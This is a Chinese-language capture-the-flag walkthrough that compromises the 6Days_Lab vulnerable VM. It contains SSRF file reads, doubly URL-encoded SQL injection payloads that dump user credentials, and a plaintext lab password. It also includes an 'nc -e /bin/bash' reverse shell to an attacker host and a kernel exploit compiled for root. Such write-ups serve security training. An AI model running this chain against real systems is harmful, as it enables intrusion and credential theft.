6Days_Lab-v1.0.1
1.信息收集
1.arp-scan -l 扫描IP,找到目标靶机
sudo arp-scan -l
2.nmap扫描端口
sudo nmap -sV -p- 192.168.221.139 -T4
查看80端口,收集网页信息
3.发现是一个ips(入侵防御系统)的界面,根据他的提示输入折扣码试试
4.意思是验证码过期,输入一个‘ ,查看是否有sql注入
意思为恶意请求被WAF阻挡。所以我们需要去找其他的方法去突破
5.查看页面源码,发现image.php页面会进行引用图片
查看页面
说是包含错误
这里可能存在ssrf,将src后面改为index.php发现并没有拦截也没有报错,说明是存在ssrf漏洞的
6.dirb扫描目录
2.漏洞利用
1、通过前面信息收集的过程发现网站存在ssrf漏洞,但是页面并没有显示出来网站主页的源码,使用burpsuite抓包试试看
这里是成功回显出了网站主页的源码
2、查看passwd文件信息,得到靶机有账户user,andrea
3、查看config.php文件,得到数据库账号、密码、数据库名信息
4、查看其他文件发现均会被ips(入侵防御系统)拦截
5、查看apache默认配置信息
发现在apache默认文件中,发现网站实际就是在8080端口,只接受本地连接,然后转发到80端口,通过配置信息获得的消息,可以发现网站直接跟mysql数据库连接,存在SQL注入,两次url编码即可绕过
6、利用python,将注入的SQL语句经过两次url编码即可,使用ssrf加SQL注入拿到登入密码
7、查看为数字型还是字符型
from urllib.parse import quote
print(quote(quote("aa'")))
结果:aa%2527
显示促销码无效
from urllib.parse import quote
print(quote(quote("aa'#")))
结果:aa%2527%2523
发现能成功闭合,说明为字符型注入,闭合方式为’#
8、查看字段数
from urllib.parse import quote
print(quote(quote("aa' order by 2#")))
结果:aa%2527%2520order%2520by%25202%2523
from urllib.parse import quote
print(quote(quote("aa' order by 3#")))
结果:aa%2527%2520order%2520by%25203%2523
字段数为2的时候返回正常,字段数为3的时候返回促销码无效。所以判断字段数为2
9、查看回显位置
from urllib.parse import quote
print(quote(quote("aa' union select 1,2#")))
结果:aa%2527%2520union%2520select%25201%252C2%2523
所以判断1的位置是有回显的
10、查看当前库
from urllib.parse import quote
print(quote(quote("aa' union select database(),2#")))
结果:aa%2527%2520union%2520select%2520database%2528%2529%252C2%2523
所以当前库为fancydb
11、查看fancydb库下的所有表
from urllib.parse import quote
print(quote(quote("aa' union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),2#")))
结果:aa%2527%2520union%2520select%2520%2528select%2520group_concat%2528table_name%2529%2520from%2520information_schema.tables%2520where%2520table_schema%253Ddatabase%2528%2529%2529%252C2%2523
12、查看users表下的所有字段
from urllib.parse import quote
print(quote(quote("aa' union select (select group_concat(column_name) from information_schema.columns where table_name='users'),2#")))
结果:aa%2527%2520union%2520select%2520%2528select%2520group_concat%2528column_name%2529%2520from%2520information_schema.columns%2520where%2520table_name%253D%2527users%2527%2529%252C2%2523
13、查看username和password字段的值
from urllib.parse import quote
print(quote(quote("aa' union select (select group_concat(concat_ws('~',username,password)) from users),2#")))
结果:aa%2527%2520union%2520select%2520%2528select%2520group_concat%2528concat_ws%2528%2527~%2527%252Cusername%252Cpassword%2529%2529%2520from%2520users%2529%252C2%2523
14、成功得到账号密码,由前面信息收集可知靶机开启了22端口,使用ssh连接输入账号密码成功连接
ssh andrea@192.168.221.139
账号:andrea
密码:SayNoToPentests
但是发现输入一些命令并没有回显
15、可能是回显信息丢失,尝试反弹shell
kali:
客户端:
nc -e /bin/bash 192.168.221.136 4444
反弹成功
使用python反弹一个原始命令行
python -c 'import pty;pty.spawn("/bin/bash")'
3.权限提升
1、查看当前权限,发现只是一个普通的权限
2、查看当前系统内核,发现系统内核版本为3.13.0
3、使用kali搜索3.13.0版本可用的exp
4、开启kali的apache服务,将攻击脚本放到网站的根目录下面
下载
将攻击脚本放到网站的根目录下面
5、在反弹的shell中下载攻击脚本
编译
gcc 37292.c -o exp
攻击
./exp
成功